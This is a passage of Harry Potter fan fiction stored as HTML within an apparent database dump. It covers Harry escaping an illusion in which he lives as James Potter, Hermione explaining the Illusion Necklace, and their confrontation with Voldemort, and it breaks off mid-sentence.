&quot;Hermione?&quot;<br>\n\n\n<br>\n &quot;This is wrong!&quot; She exclaimed. &quot;I mean, he\'s not Sirius Black! At least I don\'t think so.&quot;<br>\n\n\n<br>\n Sirius stared at her wide-eyed. &quot;What?&quot;<br>\n\n\n<br>\n Hermione raised her palm, indicating towards her wand. &quot;You\'re leading us in the opposite direction. You\'re trying to lead us somewhere aren\'t you? Perhaps straight into the lion\'s den am I correct?&quot;<br>\n\n\n<br>\n Harry looked from Hermione then back to Sirius, wanting to believe her yet wishing it was really his godfather that he had just met...that his stories of his parents were real...but..<br>\n\n\n<br>\n &quot;Ah, we knew it would be harder once you came along.&quot; Sirius Black laughed almost menacingly and snapped his finger at Hermione. &quot;You aren\'t suppose to be here young lady.&quot;<br>\n\n\n<br>\n Harry stepped away from the imposture, looking wildly at Hermione, almost in pain that he hadn\'t believed her before. &quot;Hermione...&quot;<br>\n\n\n<br>\n She said nothing but shifted her eyes to him. Harry couldn\'t tell what her eyes were trying say to him. Did she forgive him for being so stupid? Or was she hurt? Was she angry? But her eyes seemed to show none of these emotions except for immense concentration...<br>\n\n\n<br>\n Harry felt a tug on his collar before he wrenched his head around and saw the fake Sirius Black cackling, flinging something over his head...around his neck...a necklace? He didn\'t know... and then he saw nothing but brilliant white light..he called out her name, yet nothing came out. He couldn\'t turn around, couldn\'t look back to see those honey-brown eyes. Nothing. But he heard her voice..her voice...<br>\n\n\n<br>\n\n\n<i>Believe in yourself, Harry.</i><br>\n\n\n<br>\n\n\n<br>\n\n\n<center>~*~</center>\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n Trees...green trees, lush green trees. Mountains...tall and blue. And the grass. Yes, the grass was beautiful and stretched far off into the distance. Green as green could get. And the sky, a beautiful cloudless cerulean blue sky.<br>\n\n\n<br>\n And yet the sky was changing so fast. From the spotless blue sky to the velvet star-filled night sky. Then to the sky of dawn and of the sun\'s first rays across the sky...and then back to the spotless blue sky...and now there were clouds...then it was dusk...crimson and gold streaks hung onto the sky now...<br>\n\n\n<br>\n And he finally realized it was changing...days were going by....or...were they going back? He felt far away...detached from his body, not with anything. He felt light, even lighter than a feather, and he couldn\'t really think...was he dead? Maybe this was death...<br>\n\n\n<br>\n But the sky and the clouds and the trees and the grass stopped. Just stopped in place, from all the changing it had done. And just stopped. And now he felt himself coming to a stop also. He couldn\'t move...but he was moving anyways. But not with his own free will...he felt like a puppet..someone was moving him.<br>\n\n\n<br>\n He came around a tree, a bush, and more trees, and finally to a clearing and was met with a familiar sight of the ancient looming castle. Hogwarts. He felt his heart flutter at the sight of it, it was like his home wasn\'t it? And now he was back, somehow or the other, but what about...about...who...<br>\n\n\n<br>\n There was someone...had to..remember someone...he was back at Hogwarts...that was good. But..hadn\'t someone come with him...who...and where...<br>\n\n\n<br>\n His heart pounded furiously and his head ached from the stress of wanting to remember. He shook his head, trying to clear his mind from his thoughts but nothing came or went. He simply felt himself walk forwards..pass the Forbidden Forest...pass the familiar hut of Hagrid\'s..that wasn\'t there.<br>\n\n\n<br>\n For a fleeting moment he thought it wasn\'t there. And it wasn\'t. He blinked, wanted to rub his eyes, but he couldn\'t. His hands wouldn\'t come up and rub his eyes, and so his feet carried him onwards as if that was normal. No Hagrid\'s Hut. Or actually...there was a hut. A much newer hut...strange.<br>\n\n\n<br>\n He entered the doors of Hogwarts now, feeling the cool cedar wood of the door...it felt smoother. No, it was just his imagination. <br>\n\n\n<br>\n Now he was proceeding up a set of stone stairs. Familiar stone stairs...wouldn\'t this lead to...the Great Hall? Of course it did...and the torches all looked the same...still flickered and casted funny shadows on the walls. He could feel his footsteps echoing through the empty hallways. Where was everyone? ....Who was everyone? <br>\n\n\n<br>\n His head pounded again from wanting to remember.<br>\n\n\n<br>\n And now he was infront of the grand doors of the Great Hall. Was it him or did it look shinier? Smoother again? He felt his hands push the doors open, he wanted to swallow and of course he couldn\'t.<br>\n\n\n<br>\n Floating candles met his eyes...the enchanted ceiling showed a sky of sunset. Pink, yellow, purple, and orange streaked across the ceiling with a distant and faded moon. The four house tables met his eyes next, and the banners of the four houses hung in just the same way as...before? What was before...there wasn\'t a before was there...? He shook his head once again and proceeded towards Gryffindor table.<br>\n\n\n<br>\n &quot;Oh there you are!&quot; He felt a hand on his shoulder. A broad strong hand, and he turned and felt his lips curve into a grin. <br>\n\n\n<br>\n &quot;What? Missed me already?&quot; He felt himself saying...but why was that voice so alien. So different than...than who? Than what...than before? But there was no before...there was just now? <br>\n\n\n<br>\n &quot;Naw, we didn\'t miss you, but she sure did!&quot; A young man with black hair said with a merry twinkle in his eyes.<br>\n\n\n<br>\n He felt himself look around. &quot;Then where is she?&quot;<br>\n\n\n<br>\n &quot;Oh, probably in the library...&quot; The library. His head pounded once again. Wasn\'t the library <i>her </i>spot...who was she...and once again nothing came. He shook his head.<br>\n\n\n<br>\n A mousy little figure stared up at him curiously from the table. &quot;You alright there?&quot;<br>\n\n\n<br>\n &quot;Yes..yes I\'m fine, Peter.&quot; He replied and sat down next to the young man with black hair. Sirius. Of course, it was Sirius. Silly him to have forgotten.<br>\n\n\n<br>\n &quot;Look.&quot; Sirius pointed towards the Great Hall doors.<br>\n\n\n<br>\n A beautiful young woman had just pushed open the doors, her long fingers clutching onto the handle as she scanned the room as if she were looking for someone. And finally, a set of emerald jaded eyes landed upon himself and he felt himself swallow as the girl smiled with her smooth pink lips.<br>\n\n\n<br>\n &quot;James!&quot; She waved lightly and headed towards the table, her black robes swishing around her with a shiny Head Girl badge pinned onto them. &quot;Where have you been? You were suppose to meet me in the library!&quot;<br>\n\n\n<br>\n &quot;Ooh, for another snogging session no doubt,&quot; Sirius teased and got a spoonful of mashed potatoes flung at him.<br>\n\n\n<br>\n He felt himself smile now, brought the girl\'s hands into his own and felt himself peck her on the forehead as she took a seat next to him. &quot;I\'m sorry, must have slipped my mind.&quot; He lowered his voice so only she could here. &quot;But I\'ll make it up to you, Lily.&quot;<br>\n\n\n<br>\n Peter poked at his peas thoughtfully. &quot;I wonder where Moony is?&quot;<br>\n\n\n<br>\n &quot;Ah, it\'s a fullmoon tonight,&quot; Lily replied softly and turned to him. &quot;Are you fellas going to join him again?&quot;<br>\n\n\n<br>\n He felt himself open his mouth to reply. &quot;No. Of course not. Only you Lily. Got to spend some time with you shouldn\'t I?&quot;<br>\n\n\n<br>\n Lily smiled, &quot;Really?&quot;<br>\n\n\n<br>\n &quot;Yes, really,&quot; He pecked her on the cheek again before standing up, holding onto the dainty long fingers of his love. &quot;Want to go now?&quot;<br>\n\n\n<br>\n &quot;Already?&quot; She looked at him in surprise.<br>\n\n\n<br>\n &quot;Well if you want..&quot;<br>\n\n\n<br>\n &quot;Of course,&quot; She stood up and they said their good-byes to their friends.<br>\n\n\n<br>\n &quot;Are you sure you don\'t want to spend the night with Remus? It\'s pretty tough on him isn\'t it?&quot; <br>\n\n\n<br>\n He felt himself nod, &quot;Oh, Sirius will take care of it.&quot;<br>\n\n\n<br>\n &quot;...Very well.&quot;<br>\n\n\n<br>\n And then it all seemed so fast. They had just walked out of the Great Hall doors when he found himself no longer in the hallway that would normally greet them. Instead, he found himself walking through an unfamiliar hallway...no, it was familiar. Wasn\'t it?<br>\n\n\n<br>\n &quot;Dust Bunnies.&quot; He felt himself mutter to a portait containing nothing but a single grain of rice. The portait swung open and the two crawled into what seemed to be the Head Boy dormitory.<br>\n\n\n<br>\n And once again it seemed so fast...they had entered and now they were suddenly sitting on the bed, side by side, with the scarlet drapes drawn around them with only the light from the tips of their wands. <br>\n\n\n<br>\n &quot;Lily...there\'s something I have to tell you.&quot;<br>\n\n\n<br>\n &quot;Mmm?&quot; She snuggled into the crook of his neck.<br>\n\n\n<br>\n &quot;I slipped..&quot;<br>\n\n\n<br>\n She glanced up at him with her emerald eyes. &quot;What? Did you bruise yourself?&quot;<br>\n\n\n<br>\n &quot;No...I don\'t mean that kind of slip,&quot; He felt himself look nervously at the top of her head. &quot;I meant that I slipped about Moony\'s...&quot;<br>\n\n\n<br>\n A short little gasp came from the girl in his arms. &quot;<i>No</i>..how did that happen James?&quot;<br>\n\n\n<br>\n &quot;...I don\'t know,&quot; He found himself replying. &quot;I was talking...to Peter, and...&quot;<br>\n\n\n<br>\n &quot;Who was it?&quot;<br>\n\n\n<br>\n &quot;...Snape.&quot;<br>\n\n\n<br>\n Lily pulled out of his arms, looking at him in shock. &quot;Snape?!&quot;<br>\n\n\n<br>\n &quot;I\'m sorry Lil..but we made sure Snape would swear not to tell anyone.&quot;<br>\n\n\n<br>\n &quot;You know Snape though! He wouldn\'t give up this chance...to tell anyone that Moony\'s a werewolf...you know how much Snape hates us!&quot; Lily cried out in exasperation.<br>\n\n\n<br>\n &quot;I know...I know...&quot; He groaned. &quot;But what else can I do?&quot;<br>\n\n\n<br>\n He felt the comforting arms of the girl next to him come around him in a comforting embrace. &quot;It\'s alright...we\'ll...just have to keep a hard watch on him...&quot;<br>\n\n\n<br>\n &quot;...I don\'t think I would be able to face Moony again if Snape did anything...&quot;<br>\n\n\n<br>\n &quot;Don\'t worry...it\'ll work out.&quot;<br>\n\n\n<br>\n And then once again it felt fast-forwarded. More comforting words...suddenly they were under the blankets...bliss...something...and then he was once again in that white nonethingness. White brilliant light...but he could hear her crying out in pleasure...and then nothing again...<br>\n\n\n<br>\n The sky was no longer dusk.<br>\n\n\n<br>\n Nor was it night.<br>\n\n\n<br>\n Day came and he found himself staring outside the window of the Owlery deep in thought yet he could not think of what he was thinking of...<br>\n\n\n<br>\n Until the door banged open and the owls screeched and clattered in their cages.<br>\n\n\n<br>\n &quot;James.&quot;<br>\n\n\n<br>\n He turned around slowly, saw the figure of the woman he loved most on the face of Earth and even the universe. Lily Evans stood by the door, her hair matted from being outside in the rain, and her robes dripped with rainwater too.<br>\n\n\n<br>\n &quot;Lily.&quot;<br>\n\n\n<br>\n &quot;You lied.&quot;<br>\n\n\n<br>\n &quot;Lily...&quot;<br>\n\n\n<br>\n &quot;You lied!&quot;<br>\n\n\n<br>\n &quot;...No..Lily, it wasn\'t me...it was Snape...I told you! That night..&quot;<br>\n\n\n<br>\n There was finger in his face again. &quot;That night! You still have the heart to talk about <i>that </i>night!&quot;<br>\n\n\n<br>\n &quot;...Lily, please...graduation is tonight, don\'t you think we could bring this up some other day..&quot;<br>\n\n\n<br>\n &quot;No!&quot; Jaded eyes flashed at him. &quot;You don\'t know what mess you\'ve gotten me into now.&quot;<br>\n\n\n<br>\n He felt himself stare at her, afraid..no, afraid to be found out? No...afraid to lose her? &quot;What are you saying?!&quot;<br>\n\n\n<br>\n &quot;We\'re going to have a child,&quot; She spat out almost in venom.<br>\n\n\n<br>\n He felt himself feel light...almost faint..he stumbled forward and clutched her hand which she instantly wrenched away. &quot;Pardon?&quot;<br>\n\n\n<br>\n &quot;A child! How much clearer can I get?!&quot; She cried out through bitter tears. <br>\n\n\n<br>\n &quot;A..child?&quot;<br>\n\n\n<br>\n &quot;God James, yes, a child! Now what?! Do you know what this means? I can\'t have a child now. Not now..&quot;<br>\n\n\n<br>\n He saw colours...he was dizzy. So many things were happening...what did this mean... a child. He was only seventeen...they couldn\'t have a child now... &quot;Lily...&quot;<br>\n\n\n<br>\n &quot;James...&quot; She cried through tears threatening to tumble from her eyes. &quot;But what about Moony? How could you have betrayed him? I knew something was weird that time...you always stay with him when it\'s a fullmoon...you were never selfish.&quot;<br>\n\n\n<br>\n &quot;Lily! I didn\'t...I swear...it was Snape! Remember that night, I told you! Snape heard...it wasn\'t me! I would never tell....&quot;<br>\n\n\n<br>\n But she didn\'t reply and he only recieved the anguish look on her pretty features...<br>\n\n\n<br>\n And once again his feet left the ground, the scene went in fast motion once again and he suddenly was brought back down to earth with his head spinning and his mind a muddled mess. He was running now.<br>\n\n\n<br>\n Running where? He didn\'t know. Running...his ribs ached, his heart ached, his whole body groaned but he kept on running. Over logs, pass the Quidditch Pitch, where was he going? Running away from Hogwarts?<br>\n\n\n<br>\n And he turned back once more just to see one last glimpse of his home...and he heard a bitter cry that he didn\'t know how he could hear. He was so far from the castle, but that cry echoed out to him, from the north tower...the Astronomy Tower...he squinted his eyes, saw through his angry tears the figure of the girl he loved with his life...the girl he was running from...<br>\n\n\n<br>\n &quot;I HATE YOU JAMES POTTER!&quot; The girl screamed out into the darkening sky and he felt his heart sink along with the setting sun....<br>\n\n\n<br>\n He was running from her...why? He didn\'t want to take responsibility over that child...why? He ran.<br>\n\n\n<br>\n But he stopped. Midway from a great big oak tree, he stopped running. He caught his breath, his brow furrowing in confusion. James Potter. I hate you James Potter. Why didn\'t that make sense to him? No...<br>\n\n\n<br>\n This wasn\'t right.<br>\n\n\n<br>\n His head spun...<i>Believe in yourself.</i>.. What was that? A voice...was he hearing things now? He spun around, backing away from the looming trees that seemed to gather closer to him...<br>\n\n\n<br>\n\n\n<i>Wake up...please...believe in yourself, and what you know..<br>\n\n\n<br>\n\n\n</i>That voice...it belonged to a girl. A girl he knew. Yes, it was a voice that he was familiar in hearing...a voice that had led him to the light everytime. That voice...who was it? He gripped his head in pain from trying to remember...why couldn\'t he remember? It was as if there was a block in his head...he couldn\'t get pass it.<br>\n\n\n<br>\n\n\n<i>Believe in yourself...</i><br>\n\n\n<br>\n But there was something more to that phrase...a name perhaps? He couldn\'t hear it...couldn\'t remember...<br>\n\n\n<br>\n\n\n<i>Only you can get yourself out of this...</i><br>\n\n\n<br>\n\n\n<i>I\'m trying too!</i> His head screamed to nobody in particular. No. He remembered something now. He wasn\'t James Potter. No. Not at all. This wasn\'t right.<br>\n\n\n<br>\n\n\n<i>I believe in you...<br>\n\n\n<br>\n\n\n</i>His eyes shot open. Emerald green eyes. He wasn\'t James Potter. He was...<br>\n\n\n<br>\n\n\n<i>Harry...I believe in you.<br>\n\n\n<br>\n\n\n</i>He was Harry! Harry Potter...that was his name...not James Potter...he remembered now! <br>\n\n\n<br>\n And that voice...it was her! His angel from above...it was...her.<br>\n\n\n<br>\n\n\n<i>Harry...</i> that voice called again...almost desperate...<br>\n\n\n<br>\n He wanted to reply to her. But where was she? Why was he in a different world? Where everyone called him James? That was his father...but wait...his father and mother had not wanted him? He had been a mistake?<br>\n\n\n<br>\n His heart sank..<br>\n\n\n<br>\n His father had betrayed one of his closest friends?<br>\n\n\n<br>\n His heart sank further...<br>\n\n\n<br>\n What was happening to him?<br>\n\n\n<br>\n\n\n<i>Harry. Wake up.</i><br>\n\n\n<br>\n He shook his head furiously. No. She was right. He had to wake up. This wasn\'t real. His parents weren\'t like that. They loved him, loved him...that was why they had died. Because they loved him...<br>\n\n\n<br>\n He shut his eyes.<br>\n\n\n<br>\n\n\n<i>No, I\'m not a mistake...father loved me. Mum loved me...they died protecting me. This is all a lie. <br>\n\n\n<br>\n And...and...Hermione..Hermione is calling me...</i><br>\n And it seemed to dawn on him. This wasn\'t his world. Wasn\'t the life his father had. This wasn\'t right. <br>\n\n\n<br>\n He opened his eyes.<br>\n\n\n<br>\n &quot;This is a lie!!&quot;<br>\n\n\n<br>\n And he saw blinding white light, his feet once again left the floor..as he spun higher and higher to who knows where?<br>\n\n\n<br>\n\n\n<i>Thud.</i><br>\n\n\n<br>\n &quot;I knew you could do it..Harry.&quot;<br>\n\n\n<br>\n And he looked up, through his bangs that fell in front of blazing green eyes, he saw through his round-framed glasses at the smiling and tear-stained face of<i> her</i>. Hermione Granger.<br>\n\n\n<br>\n &quot;...Hermione.&quot;<br>\n\n\n<br>\n &quot;I believed in you, and you didn\'t let me down,&quot; She smiled at him, opened her arms in which he thankfully fell into.<br>\n\n\n<br>\n He shut his eyes, he was so tired. &quot;What just happened?&quot;<br>\n\n\n<br>\n &quot;Shh...catch your breath first...then I\'ll explain <i>everything</i>.&quot;<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n AN: Yes, that was confusing. But do not worry! Explaination in the next chapter =P! Thankies for reading!!<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n '),
	(207, 13, ' \n\n\n\n<meta http-equiv="content-type" content="text/html; charset=ISO-8859-1">\n\n<title></title>\n\n\n\n<small><font face="Helvetica, Arial, sans-serif"><br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n AN: Writer\'s block...evil evil block....well, my finals are coming up which means...yes. Even more slower updates. I\'m sorry =( But finals are finals and they aren\'t nice, but the good side to things is that summer is coming up and that means lots and lots of time for me to sit around and update =) But as you all can see, this fic is coming to an end and I wonder if I even need until summer to finish this up...hehe, well, enjoy and thank you for reading this story =)<br>\n\n\n<br>\n Disclaimer: I don\'t own any of the original characters in Harry Potter, J. K. Rowling does. The plot and any extra characters belong to me :)<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n</font></small>\n\n<center><font face="Helvetica, Arial, sans-serif"><small>Underneath it All</small><small><br>\n\n\n</small><small> Chapter Thirteen: Evil and Desires</small></font></center>\n\n<small><font face="Helvetica, Arial, sans-serif"><br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n Harry closed his eyes slowly, catching his breath as his chest heaved up and down. He recalled being in that strange place of a world...not his world for sure. Yet he had been James Potter. Living the life of James Potter. Yet it had been an illusion no doubt..<br>\n\n\n<br>\n &quot;Ok, Hermione, what happened?&quot; he opened his eyes, realizing that he had rested his head upon her lap, he immediately sat up blushing.<br>\n\n\n<br>\n The head girl giggled and opened her hand to reveal a strange necklace of some type with a small vial dangling in the center. Inside of it seemed to be a droplet of...crimson liquid. To Harry, it seemed to be blood.<br>\n\n\n<br>\n &quot;The fake Sirius flung this over your neck and pushed me aside when he disapparated. I fell and was dazed until I saw a blinding white light and I knew at once you were gone. Not dead, but gone..&quot; she explained softly. &quot;I just had this feeling that you weren\'t dead...I don\'t know how, but I just did. I knew that it wasn\'t going to be good though, it must\'ve been some part of Voldemort\'s plan, so I told you to believe in yourself when you faded away. I had little hope that you heard me though..&quot;<br>\n\n\n<br>\n &quot;I did Hermione...I did,&quot; Harry replied, wide-eyed.<br>\n\n\n<br>\n Hermione nodded, a smile forming on her tired features. &quot;So I was alone for a while, I just sat there staring at the spot in which you disappeared. I tried to recall what had happened...I remembered seeing Sirius fling something over your neck, like a necklace. So I sat there thinking and thinking why he would have flung a necklace over your head.&quot;<br>\n\n\n<br>\n &quot;I couldn\'t think of anything that would harm you in the form of a necklace. Maybe it was cursed, or a dark ornament but I wasn\'t sure. But then I remembered learning something about Illusion Necklaces in sixth year...so I clung onto that thought, thinking maybe you were sent into...an illusion of some sort. But of course, I was basically grasping onto straws,&quot; she said sheepishly and held up the necklace. &quot;I was feeling rather hopeless because I could do nothing about it but wait. Wait to see if you would come back and fight whatever it was that you had to fight. So I began talking to you. Trying to talk to you...&quot; she blushed scarlet.<br>\n\n\n<br>\n &quot;I know, it was a silly thing to do. But what else could I have done?&quot; Hermione bit her lip and glanced at him occasionaly, wondering if he had thought she was crazy.<br>\n\n\n<br>\n &quot;No...you did the right thing Hermione...&quot; Harry found himself saying as he squeezed her hand gently. &quot;I heard you...that was the reason I found myself...found out that everything around me wasn\'t right, that it was just an illusion...&quot;<br>\n\n\n<br>\n Hermione\'s face brightened. &quot;I guess my senseless ramblings did the trick...&quot; she chuckled lightly but her expression became serious once again as she examined the necklace in her hand. &quot;But I was right...it was an Illusion Necklace...it dropped beside you when you came back.&quot;<br>\n\n\n<br>\n &quot;I don\'t remember learning about them in sixth year...&quot; Harry pondered out loud.<br>\n\n\n<br>\n &quot;Well, it was in some of my extra studying,&quot; Hermione explained.<br>\n\n\n<br>\n Harry couldn\'t help but laugh. &quot;Typical.&quot;<br>\n\n\n<br>\n Hermione swatted him lightly on the arm, making a face while doing so. &quot;Well it seems to me it came in handy!&quot; Hermione declared defensively. &quot;Illusion Necklaces aren\'t suppose to be used anymore...it was banned twenty years ago by the ministry when they realized it sometimes caused people to go insane. Lost in that world and illusion forever because if it was strong enough, it can cause people to forget who they really are, what their life is suppose to be like.&quot;<br>\n\n\n<br>\n &quot;...Kind of like a block in your memory and mind?&quot; Harry suggested.<br>\n\n\n<br>\n Hermione nodded thoughtfully, &quot;That I\'m not sure...but did you experience that?&quot;<br>\n\n\n<br>\n Harry nodded numbly. &quot;I couldn\'t even remember your name...I just knew there was something out of place...something missing.&quot;<br>\n\n\n<br>\n &quot;At least your will was strong enough, Harry,&quot; Hermione grinned. &quot;You believed in yourself and were able to pull through....&quot;<br>\n\n\n<br>\n &quot;All because of you,&quot; Harry blurted out and turned red, looking away and back at the necklace in her hands. &quot;But...what\'s with the liquid inside of it.&quot;<br>\n\n\n<br>\n &quot;Oh,&quot; Hermione frowned now, &quot;I personally think it\'s blood. Voldemort\'s blood, or one of his followers\'. You always need something from the owner of this necklace to be able to control whomever is wearing it. To control the illusion they are sent into....did you understand that?&quot;<br>\n\n\n<br>\n He only nodded, staring at the droplet of blood within the vial. Voldemort\'s blood...his parent\'s murderer\'s blood. He felt anger boil inside of himself, an anger he had never felt before. If only he hadn\'t killed them, what would he be like today? Not a boy deprived of love...no, he would have been loved, cared for...<br>\n\n\n<br>\n Harry shook his thoughts away, and Hermione noticed his faraway look. &quot;Are you alright?&quot; She asked in a gentle voice.<br>\n\n\n<br>\n He mustered a smile and stood up. &quot;Now what do we do...&quot;<br>\n\n\n<br>\n &quot;We could continue following the direction of my wand...&quot; Hermione suggested.<br>\n\n\n<br>\n &quot;I guess that\'s all we can do for now...&quot;<br>\n\n\n<br>\n\n\n<br>\n\n\n</font></small>\n\n<center><font face="Helvetica, Arial, sans-serif"><small> ~*~</small></font></center>\n\n<br>\n\n\n<small><font face="Helvetica, Arial, sans-serif">\n\n<br>\n\n\n<br>\n Ron held Ginny close to him, her shivering form and her occasional sobs made him suddenly protective. His big brother persona emerged and he was trying desperately to calm his little sister down.<br>\n\n\n<br>\n &quot;What\'s going to happen, Ron?&quot; Ginny choked out.<br>\n\n\n<br>\n &quot;It\'s ok, we\'re at Hogsmeade now and we\'re safe.&quot;<br>\n\n\n<br>\n &quot;Hermione?&quot; The girl questioned.<br>\n\n\n<br>\n &quot;Hermione will be alright...&quot;<br>\n\n\n<br>\n &quot;And that boy...Harry?&quot;<br>\n\n\n<br>\n Ron sighed, &quot;They\'ll be ok.&quot;<br>\n\n\n<br>\n Most of the school had come down to Hogsmeade while some were still down by the lake getting transported to the scarlet steam train. Professor Sprout was trying to get the HufflePuffs to calm themselves, while Professor Snape had stayed behind with Professor McGonagall.<br>\n\n\n<br>\n Hagrid sat on a bench with his thick eyebrows knitted together. Ron and Ginny approached the half-giant in worry and confusion. &quot;What\'s going to happen now Hagrid?&quot;<br>\n\n\n<br>\n &quot;Well...I don\'t think I\'m allowed to send ye all \'ome until Dumbledore allows it.&quot; he replied ruefully. &quot;Best to wait for Dumbledore.&quot;<br>\n\n\n<br>\n &quot;And you do not have to wait any longer Rubeus.&quot;<br>\n\n\n<br>\n The three turned and saw the figure of the headmaster standing straighter and taller than they had ever seen him stand. A grave expression seemed to be on the wise wizard\'s face as he came closer, sweeping his midnight purple robes along with him.<br>\n\n\n<br>\n &quot;He has risen once again,&quot; Dumbledore stated. &quot;There was no Christmas Feast at all at Beauxbatons. It was a simple deversion that I was quite stupid to have fallen for...&quot; The headmaster ran a hand down his wispy beard thoughtfully. &quot;Where is Harry?&quot; He suddenly asked.<br>\n\n\n<br>\n &quot;He disappeared,&quot; Ron answered, &quot;along with Hermione!&quot;<br>\n\n\n<br>\n Dumbledore peered down at the red-head in thought. &quot;Both of them...together?&quot;<br>\n\n\n<br>\n &quot;Yes,&quot; The youngest of the Weasleys uttered.<br>\n\n\n<br>\n Dumbledore\'s face was unreadable but a strange twinkle returned to his eyes. &quot;I think...they will be alright.&quot;<br>\n\n\n<br>\n He looked at all the bewildered faces that he was given and chuckled. &quot;Yes, indeed...I think the-boy-who-lived will live once again.&quot;<br>\n\n\n<br>\n\n\n<br>\n\n\n</font></small>\n\n<center><font face="Helvetica, Arial, sans-serif"><small>~*~</small></font></center>\n\n<br>\n\n\n<small><font face="Helvetica, Arial, sans-serif">\n\n<br>\n\n\n<br>\n\n\n<br>\n He was tired. He didn\'t like having no idea what would happen, or how much time had gone by. He hated being clueless. <br>\n\n\n<br>\n And yet, they continued walking.<br>\n\n\n<br>\n She didn\'t seem tired at all, except for the sweat that was forming on her forehead, and her knitted brows showed her deep concentration on the matter. Her palm lay open, her wand still leading them...and hopefully the way out of the maze they had been thrown into.<br>\n\n\n<br>\n Harry glanced at the girl walking beside him, suddenly nervous. His stomach flipped, and a sickening though dawned on him. What if he died? What if she died? What if they both died...<br>\n\n\n<br>\n He shook his head, wanting to rid himself of the unpleasant thoughts swimming in his muddled mind. Yet he couldn\'t help but think they would end up in a sticky situation... &quot;Hermione...&quot;<br>\n\n\n<br>\n &quot;Hmm?&quot; She didn\'t turn to look at him, but just straight ahead.<br>\n\n\n<br>\n Harry frowned before running hand through his tangled hair. &quot;You shouldn\'t be here.&quot; <br>\n\n\n<br>\n And with that, she turned her head to look at him, her face showed a glimpse of hurt but it quickly washed away with an annoyed expression. &quot;And why shouldn\'t I be here?&quot;<br>\n\n\n<br>\n &quot;...You know why,&quot; he swallowed uneasily and kicked the ground. &quot;Voldemort meant for me to be here...<i>alone</i>. Face him alone. Die alone.&quot;<br>\n\n\n<br>\n She stared at him and stopped walking, shaking her head. &quot;No Harry, you\'re not going to die and you\'re most certaintly not facing him alone.&quot;<br>\n\n\n<br>\n &quot;But you shouldn\'t be here...if you didn\'t grab onto me, you could have been safe...back there, with Ron and everyone else...&quot; his shoulders dropped as he eyed her warily. &quot;I\'m sorry...&quot;<br>\n\n\n<br>\n Hermione looked at his bright green eyes, so dull and weary at the moment that it even made her slightly tired too. She breathed, placing a hand on his shoulder and giving it a light squeeze. &quot;Well, we can\'t really do anything about that can we? I\'m here, and I\'m here to stay, until the end.&quot; She managed to offer a smile, though she didn\'t know if it did any good.<br>\n\n\n<br>\n Harry placed his own hand overtop of hers, finding himself smiling ever so slightly. &quot;Then I guess it\'s my responsibility to make sure you don\'t get hurt.&quot;<br>\n\n\n<br>\n Hermione opened her mouth to complain, yet Harry placed a finger to her lips, silencing her. &quot;I want to protect you.&quot;<br>\n\n\n<br>\n She blinked, realizing she was staring a bit too noticeably at his eyes...how his chest kept on falling up and down with each breath he took. Hermione felt a tingling sensation in her body that she couldn\'t comprehend, but that didn\'t matter, for Harry was staring back at her too.<br>\n\n\n<br>\n Real chocolate never looked sweeter than her eyes. He couldn\'t really call it brown, for that sounded much too plain. Cinnamon brown...chocolate brown...honey-brown, it was just...<i>Hermione</i>. Hermione\'s eyes, Hermione brown? He chuckled out loud at his own silly thoughts.<br>\n\n\n<br>\n &quot;Why are you laughing?&quot; Her voice came out in a mere whisper.<br>\n\n\n<br>\n He let his finger trace her lips without thinking. He could only smile and reply, &quot;Nothing Hermione...nothing at all.&quot;<br>\n\n\n<br>\n And once again silence consumed them, one lost in their own emotions, while the other didn\'t realize, but was actually pulling closer. It didn\'t feel real, not at all. His feet seemed to float at he closed the space between them. He could now smell her hair. Vanilla...that was much too plain too. It was Hermione\'s smell. Yes, that sounded much better.<br>\n\n\n<br>\n She flicked her eyes upwards, her eyes first landing on his scar then back into his emerald eyes. She peered at him curiously, wondering what was happening but knew all too well what indeed was happening. Though she dared not to speak, in case it would break this moment in time.<br>\n\n\n<br>\n His fingers left her lips, cupping her chin and drawing the last bit of space between them.<br>\n\n\n<br>\n It was weird really. To be in the middle of no where and to feel so much emotion that you had never felt before. She didn\'t understand it yet, nor did he, but neither pulled back, nor did neither stopped.<br>\n\n\n<br>\n Hermione felt the black walls of darkness melt away from her mind, to be replaced with flowers...lillies, roses, every type of flower. With birds and green grass beneath their feet- it was never the darkness she pictured.<br>\n\n\n<br>\n Harry did the same. No longer were they in the void of nothingness, they were in a whole new world altogether. Green hills, cloudless skies. <br>\n\n\n<br>\n But of course, good things always come to an end.<br>\n\n\n<br>\n &quot;My dear boy...what ever are you doing in such a place?&quot;<br>\n\n\n<br>\n Good-bye to the blue skies, and the green grass and flowers. Back to reality, back to the dark walls and the dirt floor. And they pulled back, both staring at each other for one final second before turning to the source of that cold chilling voice.<br>\n\n\n<br>\n Yet both saw nothing, just blackness still around them as the voice laughed menacingly. <br>\n\n\n<br>\n Harry\'s fists tightened into balls as he glared into the darkness, daring whoever it was to come out. &quot;Why are you hiding?&quot; he found himself saying with eerie calmness.<br>\n\n\n<br>\n At first there seemed to be nothing. But finally, through the darkness two red-slit eyes appeared, a cloak as black as the darkness around them, and skin as pale as virgin snow. A nose that you couldn\'t really say was a nose...and mouth so thin and pale that it seemed to belong to the dead.<br>\n\n\n<br>\n Harry knew who this was. Knew at once with a sickening lurch in his stomach and a sudden firey determination erupt inside of him. &quot;Voldemort.&quot; <br>\n\n\n<br>\n Hermione tensed beside Harry, not wanting to look at the hideous creature in front of them but at the same time she couldn\'t take her eyes off of it. Voldemort merily laughed, a laugh that seemed empty. &quot;Seventeen years, I longed for this day.&quot;<br>\n\n\n<br>\n Harry could feel his heart quickening, beating furiously in his chest but he tried in vain not to show his fright. &quot;Oh, same here. I just couldn\'t wait until this day.&quot; Harry found the words coming swiftly off the tip 